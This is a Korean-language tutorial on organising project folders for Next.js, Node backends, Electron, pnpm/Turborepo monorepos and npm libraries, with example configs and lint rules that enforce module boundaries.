├─ app/ # ★ 라우트만 — 조립하는 곳
│ ├─ layout.tsx
│ ├─ (marketing)/ # 라우트 그룹 — URL 에 안 나옴
│ │ ├─ layout.tsx # 마케팅 전용 레이아웃
│ │ └─ pricing/page.tsx → /pricing
│ ├─ (app)/dashboard/
│ │ ├─ page.tsx → /dashboard
│ │ └─ _components/ # 비공개 폴더 — 라우트 아님
│ └─ api/webhooks/route.ts → POST /api/webhooks
├─ features/
│ └─ posts/
│ ├─ PostList.tsx # 서버 컴포넌트 (기본)
│ ├─ LikeButton.tsx # "use client" — 잎에만
│ ├─ queries.ts # import "server-only"
│ └─ actions.ts # "use server"
├─ components/ui/ # 버튼 · 모달 — 업무 모름
└─ lib/ # db · auth · env — 서버 전용
폴더 규약 세 가지
| 표기 | 뜻 · 언제 |
|---|---|
(group)/ | URL 에 안 나오는 묶음. 레이아웃을 나눌 때(마케팅 vs 로그인 후 화면) |
_folder/ | 라우팅에서 빠지는 비공개 폴더. 그 라우트만 쓰는 조각을 옆에 둘 때 |
src/ | src/app 을 지원합니다. 설정 파일(next.config.ts · .env)은 루트에 남습니다 |
// src/app/(app)/posts/page.tsx — 라우트는 조립만
import { PostList } from "@/features/posts/PostList";
import { getPosts } from "@/features/posts/queries";
export default async function PostsPage() {
const posts = await getPosts();
return <PostList posts={posts} />;
}
// src/features/posts/queries.ts
import "server-only"; // 클라이언트 컴포넌트가 import 하면 빌드 실패
import { db } from "@/lib/db";
export const getPosts = () => db.post.findMany({ take: 20 });
❌ app/ 안에 전부
app/dashboard/page.tsx # DB 쿼리 · 폼 · 차트가 한 파일
app/dashboard/utils.ts # 다른 라우트가 여기서 import
app/settings/page.tsx # → import "../dashboard/utils"
# 라우트를 옮기면 import 가 줄줄이 깨집니다
✅ 경계 파일은 작게
"use client" 는 버튼 · 폼 같은 잎 컴포넌트에만
→ 위에 붙이면 아래 트리 전체가 클라이언트 번들로
서버 전용 모듈 첫 줄에 import "server-only"
→ 비밀이 번들로 새는 사고를 빌드가 막음 (▲ f03)
app/ 안에 _components/ 를 두는 공식 "라우트 옆 배치"로 충분합니다.
두 라우트가 같은 조각을 쓰기 시작하면 그때 src/features/ 로 옮기세요.
Node 백엔드 — Express · Hono 는 기능별, NestJS 는 모듈 단위
Express 와 Hono 는 구조를 정해 주지 않고, NestJS 는 모듈이라는 단위를 강제합니다. 결론은 같습니다 — 기능별로 묶고, 기능 안에서 routes → service → repository 로 층을 나눕니다. Express 실무 구조 전체는 🚂 Express 탭 x12, Nest CLI 가 만드는 구조는 🐈 NestJS 탭 s02 에 있습니다.
Express · Hono — 기능 폴더 + 세 층
src/
├─ index.ts # 런타임 진입점 (serve · listen)
├─ app.ts # 미들웨어 · 기능 라우터 연결
├─ modules/
│ ├─ users/
│ │ ├─ users.routes.ts # HTTP 만 — 검증 후 service 호출
│ │ ├─ users.service.ts # 업무 규칙 — req · c 를 모름
│ │ ├─ users.repository.ts # DB 만
│ │ ├─ users.schema.ts # zod — 요청 · 응답 타입
│ │ └─ users.test.ts
│ └─ orders/
├─ shared/ # 에러 · 미들웨어 · logger · db 클라이언트
└─ config/env.ts # 부팅 시 환경 변수 검증
// src/app.ts (Hono) — 기능 하나 = 라우터 하나
import { Hono } from "hono";
import { usersRoutes } from "./modules/users/users.routes";
import { ordersRoutes } from "./modules/orders/orders.routes";
export const app = new Hono()
.route("/users", usersRoutes)
.route("/orders", ordersRoutes);
NestJS — 모듈이 곧 기능 폴더
src/
├─ main.ts
├─ app.module.ts # 기능 모듈을 imports 로 조립
├─ users/
│ ├─ users.module.ts # exports: [UsersService] ← 열 것만
│ ├─ users.controller.ts
│ ├─ users.service.ts
│ └─ dto/create-user.dto.ts
├─ orders/ # imports: [UsersModule]
└─ common/ # 가드 · 필터 · 인터셉터
exports 는 기능의 공개 API 입니다. React 기능 폴더의 index.ts(STR 02)와 같은 역할을 프레임워크가 강제해 줍니다.
| 방식 | 맞는 때 |
|---|---|
| 계층별 controllers/ · services/ | 엔드포인트 10개 안팎. 기능 하나 고치려면 폴더 셋을 오갑니다 |
| 기능별 | 그 이상 전부. 기능을 지우면 폴더 하나가 사라집니다 |
| 기능별 + 도메인 층 | 규칙이 service 에 넘칠 때만 (🧬 전문가 탭 d15) |
❌ service 가 HTTP 를 앎
// users.service.ts
export async function createUser(c: Context) {
const body = await c.req.json(); // 요청 객체에 묶임
// → 큐 워커 · 배치 · 테스트에서 재사용 불가
}
✅ 값만 주고받음
// users.service.ts
export async function createUser(input: CreateUser) {
// 규칙만 — HTTP · 큐 · CLI 어디서든 호출
}
// users.routes.ts 가 c.req 를 풀어 input 으로 넘깁니다
Electron · 데스크톱 — main · preload · renderer 는 폴더가 아니라 보안 경계
Electron 의 폴더 셋은 취향이 아니라 서로 다른 런타임과 권한입니다. 그래서 다른 유형과 달리 폴더 사이의 import 가 원천적으로 막혀야 합니다. 프로세스 구조는 🖥️ Electron 탭 e01, 대규모 앱의 프로세스 격리는 ⚙️ 네이티브 탭 v01 에 있으니 여기서는 폴더 배치만 봅니다.
electron-vite 템플릿 + shared/
my-app/
├─ electron.vite.config.ts # main · preload · renderer 세 번 빌드
├─ electron-builder.yml # 패키징
├─ resources/ # 아이콘 등
└─ src/
├─ main/ # Node 권한 — 창 · 파일 · DB · OS
│ ├─ index.ts
│ └─ ipc/ # 채널별 핸들러 · 입력 검증은 여기서
├─ preload/index.ts # contextBridge — 허용 목록만 노출
├─ renderer/ # 브라우저 — React/Vue 앱
│ └─ src/ # (STR 02 · 03 구조 그대로)
└─ shared/ # ★ 타입 · 채널 이름 상수만
shared/ 는 템플릿에 없는 권장 추가입니다. 여기엔 타입과 상수만 둡니다 —
fs 를 쓰는 함수를 넣는 순간 renderer 번들이 깨지거나, 더 나쁘게는 권한이 새어 나갑니다.
세 곳이 같은 계약을 보게
// src/shared/ipc.ts — 이름과 타입만
export type Settings = { theme: "dark" | "light" };
export const IPC = {
readFile: "file:read",
saveSettings: "settings:save",
} as const;
export interface Api {
readFile(path: string): Promise<string>;
saveSettings(s: Settings): Promise<void>;
}
// src/preload/index.ts — 함수 단위로만 노출
import { contextBridge, ipcRenderer } from "electron";
import { IPC, type Api } from "../shared/ipc";
const api: Api = {
readFile: (p) => ipcRenderer.invoke(IPC.readFile, p),
saveSettings: (s) => ipcRenderer.invoke(IPC.saveSettings, s),
};
contextBridge.exposeInMainWorld("api", api);
// ❌ exposeInMainWorld("ipc", ipcRenderer) — 모든 채널이 열립니다
| 무엇을 | 어디에 | 왜 |
|---|---|---|
| 파일 · DB · 네이티브 모듈 | main/ | Node 가 있는 유일한 곳. renderer 에서 sqlite 를 부르면 안 됩니다 |
| IPC 핸들러 | main/ipc/기능.ts | 채널이 50개를 넘어도 기능별로 찾을 수 있게. 인자 검증은 여기서 |
| 채널 이름 · 타입 | shared/ | 오타 하나로 조용히 응답이 없는 버그를 타입이 막습니다 |
| 화면 · 상태 | renderer/src/ | 일반 SPA 와 같습니다 — 기능별 폴더 |
모노레포 — pnpm workspace + Turborepo, apps/ 와 packages/
두 번째 앱이 생기고 타입을 복사해 붙이기 시작하면 워크스페이스로 넘어갈 때입니다. 도구 소개와 turbo.json 은 🧰 도구 탭 o02, 의존 연결 · tsconfig 공유 · 환경 변수는 🚑 프론트 실무 탭 pf12 에 있으니, 여기서는 폴더를 어떻게 가르고 무엇이 무엇을 참조하는지만 정리합니다.
기본 배치
acme/
├─ pnpm-workspace.yaml # packages: ["apps/*", "packages/*"]
├─ turbo.json # 작업 그래프 · 캐시
├─ package.json # 루트 — turbo · 공통 devDependencies
├─ apps/ # ★ 배포되는 것 — 서로 import 금지
│ ├─ web/ # Next.js
│ ├─ admin/ # Vite SPA
│ └─ api/ # Nest · Hono
└─ packages/ # ★ 공유되는 것 — apps 를 모름
├─ ui/ # React 컴포넌트
├─ schema/ # zod 스키마 + 타입 (프런트 · 백 공용)
├─ eslint-config/ # 공유 린트 설정
└─ tsconfig/ # base.json · react.json · node.json
| 규칙 | 왜 |
|---|---|
| apps → packages 한 방향 | packages 가 앱을 알면 다시는 떼어 낼 수 없습니다 |
| 이름으로 참조 | "@acme/ui": "workspace:*" — ../../packages 상대 경로 금지 |
| 설정도 패키지로 | tsconfig · eslint 를 앱마다 복사하면 석 달 뒤 전부 다릅니다 |
실험 — workspace:* 는 무엇이 되나 (pnpm 10.33)
# apps/web/package.json: "@acme/ui": "workspace:*"
$ pnpm install --offline
$ ls -la apps/web/node_modules/@acme/
ui -> .../e-ws/packages/ui/ # ① 복사가 아니라 링크
$ node apps/web/main.js
button # 고치면 즉시 반영, 재설치 없음
$ cd apps/web && pnpm pack
$ tar -xOzf acme-web-1.0.0.tgz package/package.json
"dependencies": { "@acme/ui": "0.3.0" }
# ② 배포할 땐 실제 버전으로 치환
내부 패키지의 두 형태
| 형태 | 언제 |
|---|---|
| 원본 그대로 exports → ./src/index.ts | 쓰는 쪽이 전부 번들러(Vite · Next)일 때. 빌드 단계가 없어 가장 단순 |
| 빌드된 패키지 dist + references | tsc 로 컴파일해 node 로 직접 실행하는 서버가 쓸 때. tsc -b 로 순서대로 (STR 01) |
❌ 흔한 실수
// apps/admin 이 apps/web 의 코드를 가져다 씀
import { PriceTag } from "../../web/src/components/PriceTag";
// packages/ui 안에서 "@/..." 별칭 — 쓰는 앱의 src 를 가리키게 됨
import { cn } from "@/lib/cn";
✅ 옮겨서 이름으로
// 두 앱이 쓰면 packages/ui 로 옮기고 이름으로 참조
import { PriceTag } from "@acme/ui";
// 공유 패키지 내부는 상대 경로만
import { cn } from "./lib/cn";
라이브러리 패키지 — 진입점 하나, exports 가 곧 공개 API
앱은 아무 파일이나 import 해도 되지만, 라이브러리는 사용자가 import 할 수 있는 경로가 곧 약속입니다. 내부 파일 이름을 바꿨다가 누군가의 빌드가 깨지면 그건 메이저 버전 변경입니다.
exports 필드가 그 약속을 런타임과 타입 검사 양쪽에서 강제합니다. tsup 설정은 🧰 도구 탭 o03, 하위 경로 노출과 트리셰이킹은 🧬 전문가 탭 d18 에 있습니다.
구조
date-kit/
├─ package.json # ★ exports · type · files · sideEffects
├─ tsconfig.json
├─ tsup.config.ts # dist 와 .d.ts 생성 (번들러는 도구 탭 o03)
├─ src/
│ ├─ index.ts # ★ 공개 API — 여기서 export 한 것만 약속
│ ├─ format.ts
│ ├─ format.test.ts
│ └─ internal/ # exports 에 없으니 밖에서 import 불가
│ └─ parse.ts
├─ dist/ # 배포물 — 커밋 안 함, files 로 포함
└─ README.md · CHANGELOG.md · LICENSE
{
"name": "@acme/date-kit",
"version": "1.4.0",
"type": "module",
"exports": {
".": { "types": "./dist/index.d.ts", "default": "./dist/index.js" },
"./package.json": "./package.json"
},
"files": ["dist"],
"sideEffects": false,
"engines": { "node": ">=20.19" }
}
실험 — exports 밖은 정말 막힐까 (Node 24.14)
$ node ok.mjs # import { slugify } from "@acme/kit"
hello-world
$ node deep.mjs # from "@acme/kit/dist/internal/slug.js"
Error [ERR_PACKAGE_PATH_NOT_EXPORTED]: Package subpath
'./dist/internal/slug.js' is not defined by "exports"
in ...\node_modules\@acme\kit\package.json
$ tsc # moduleResolution: NodeNext
t.ts(2,19): error TS2307: Cannot find module
'@acme/kit/dist/internal/slug.js' or its corresponding
type declarations.
$ node req.cjs # require("@acme/kit") — ESM 전용을 CJS 에서
require(esm): a-b # Node 24 는 경고 없이 동작
| 배포 형식 | 2026 판단 |
|---|---|
| ESM 전용 | 신규 기본값. Node 20.19+ · 22.12+ 의 require(esm) 이 CJS 사용자도 받아 줍니다(최상위 await 가 없을 때) |
| ESM + CJS 이중 | 더 오래된 Node · 도구까지 지원해야 할 때만. 두 사본이 따로 로드되어 싱글턴 · instanceof 가 깨질 수 있습니다 |
| CJS 전용 | 새로 만들지 않습니다 |
npx publint 는 exports · files 가 실제 파일과 맞는지, npx attw --pack .(@arethetypeswrong/cli)는
각 해석 방식(node16 · bundler 등)에서 타입이 제대로 잡히는지 봅니다. 이중 배포를 한다면 둘 다 CI 에 넣으세요.
번들러는 tsup(🧰 o03) 외에 후속으로 거론되는 tsdown 도 있으니 시작할 때 저장소 상태를 확인하세요.
테스트 · 설정 파일 위치 — 단위는 옆에, E2E 는 따로, 설정은 루트에
테스트와 설정 파일은 "어디 둬도 돌아가니까" 가장 빨리 흩어지는 것들입니다. 규칙은 단순합니다 — 코드와 함께 바뀌는 테스트는 코드 옆, 앱 전체를 보는 테스트는 따로, 도구 설정은 루트에 한 벌. 도구 자체는 🧰 도구 탭 o04(ESLint) · o05(Vitest) · o06(Playwright), 환경 변수 검증은 o09 에 있습니다.
배치
my-app/
├─ eslint.config.js # flat config — 루트에 하나
├─ prettier.config.js # Biome 이면 biome.json 하나로 둘 다
├─ vitest.config.ts # 또는 vite.config.ts 의 test 항목
├─ playwright.config.ts # testDir: "./e2e"
├─ .editorconfig · .nvmrc · .gitignore
├─ .env.example # ★ 커밋 — 이름 · 설명 · 가짜 값
├─ .env # 커밋 금지 — 내 PC 값
├─ src/features/cart/
│ ├─ cart.ts
│ └─ cart.test.ts # ★ 단위 테스트는 바로 옆
├─ e2e/ # ★ 브라우저로 앱 전체를
│ └─ checkout.spec.ts
└─ test/ # 공용 setup · 픽스처 · MSW 핸들러
└─ setup.ts
*.spec.ts 도 잡습니다. Playwright 의 e2e/*.spec.ts 를 Vitest 가 실행하려다 실패하는 일이 흔하니
아래처럼 include 를 좁혀 두세요.
러너마다 범위를 나눔
// vitest.config.ts — 단위 · 컴포넌트만
import { defineConfig } from "vitest/config";
export default defineConfig({
test: {
include: ["src/**/*.test.{ts,tsx}", "test/**/*.test.ts"], // e2e/ 는 안 봄
setupFiles: ["./test/setup.ts"],
},
});
실험 — .env 는 어떤 순서로 이기나 (Node 24.14)
# .env: PORT=3000 · DATABASE_URL=postgres://dev .env.local: PORT=4000
$ node --env-file=.env --env-file-if-exists=.env.local a.mjs
4000 postgres://dev # 뒤에 준 파일이 이김
$ PORT=9 node --env-file=.env a.mjs
9 postgres://dev # 이미 있는 환경 변수가 파일보다 우선
$ node --env-file-if-exists=.env.nope a.mjs
.env.nope not found. Continuing without it.
# .gitignore
.env
.env.*
!.env.example
| 파일 | 위치 | 규칙 |
|---|---|---|
| 도구 설정 | 루트 · 하나씩 | 폴더마다 .eslintrc 를 두던 방식은 flat config 에서 files 패턴 하나로 대신합니다 |
.env.example | 루트 · 커밋 | 새 변수를 추가하는 PR 은 이 파일도 고쳐야 리뷰 통과 |
.env · .env.local | 루트 · 무시 | 프런트에서 VITE_ · NEXT_PUBLIC_ 은 공개 값입니다 (🚑 pf12) |
| 환경 변수 읽기 | src/config/env.ts 하나 | 코드 곳곳의 process.env.X 대신 검증된 객체를 import |
한 장 요약 — 유형 · 규모별 권장 구조와 규칙을 도구로 강제하기
구조는 문서로 정하면 석 달 안에 무너집니다. 리뷰어가 매번 "여기서 그걸 import 하면 안 돼요"라고 말해야 하기 때문입니다. 마지막 섹션은 앞의 아홉 섹션을 표 한 장으로 줄이고, 그 규칙을 린트 · CI 가 지키게 만드는 법으로 끝냅니다.
| 유형 · 규모 | 권장 구조 | 경계를 지키는 것 | 다음 단계 신호 |
|---|---|---|---|
| 학습 · PoC | src/ 하나 · 종류별 폴더도 OK | 없음 | 파일 30개 · 사람 2명 |
| React · Vue SPA | features/ + 기능별 index.ts (STR 02 · 03) | no-restricted-imports | 팀이 둘 이상 |
| 큰 프런트 · 여러 팀 | FSD 여섯 층 (STR 02) | Steiger | 두 번째 앱 |
| Next.js | app/ 은 라우트만 · src/features/ (STR 04) | server-only · 린트 규칙 | 두 라우트가 같은 조각을 씀 |
| Node API | modules/기능/ routes · service · repository · Nest 모듈 (STR 05) | Nest exports · dependency-cruiser | 규칙이 service 에 넘침 → 🧬 d15 |
| Electron | main · preload · renderer · shared (STR 06) | 빌드 분리 · contextIsolation | 무거운 일 → 프로세스 분리 (⚙️ v01) |
| 앱 2개 + 공유 타입 | pnpm workspace + Turborepo (STR 07) | workspace:* · 순환 금지 규칙 | 팀 · 배포 주기가 갈라짐 |
| npm 라이브러리 | src/index.ts 하나 · exports (STR 08) | exports · publint · attw | 하위 경로가 셋 이상 → 패키지 분리 |
규칙을 도구로 강제하기 🟡 중급
① ESLint 기본 규칙만으로 — 기능 내부 접근 금지
// eslint.config.js — 플러그인 없이
export default [
{
files: ["src/**/*.{ts,tsx}"],
rules: {
"no-restricted-imports": ["error", {
patterns: [{
group: ["@/features/*/*"],
message: "기능은 index.ts 로만 import 하세요 (STR 02)",
}],
}],
},
},
];
# ESLint Linter API 로 확인한 결과
import { CartPanel } from "@/features/cart"; → OK
import { fetchCart } from "@/features/cart/cart.api";
→ '@/features/cart/cart.api' import is restricted from being
used by a pattern. 기능은 index.ts 로만 import 하세요
import x from "./cart.api"; (기능 안의 상대 경로) → OK
eslint-plugin-boundaries 처럼 "요소 종류 → 허용 대상"을 선언하는 플러그인이 낫습니다.
Nx 를 쓴다면 태그 기반 @nx/enforce-module-boundaries 가 같은 일을 합니다.
② dependency-cruiser — 순환 · 방향을 CI 에서
// .dependency-cruiser.cjs
module.exports = {
forbidden: [
{ name: "no-circular", severity: "error",
from: {}, to: { circular: true } },
{ name: "no-feature-to-feature", severity: "error",
from: { path: "^src/features/([^/]+)/" },
to: { path: "^src/features/([^/]+)/",
pathNot: "^src/features/$1/" } },
{ name: "packages-dont-know-apps", severity: "error",
from: { path: "^packages/" }, to: { path: "^apps/" } },
],
};
// CI: npx depcruise src --config .dependency-cruiser.cjs
③ FSD — Steiger
# steiger.config.ts 에 FSD 플러그인(@feature-sliced/steiger-plugin)을 등록한 뒤
npx steiger ./src # FSD 공식 린터 — 층 · 슬라이스 · 공개 API 규칙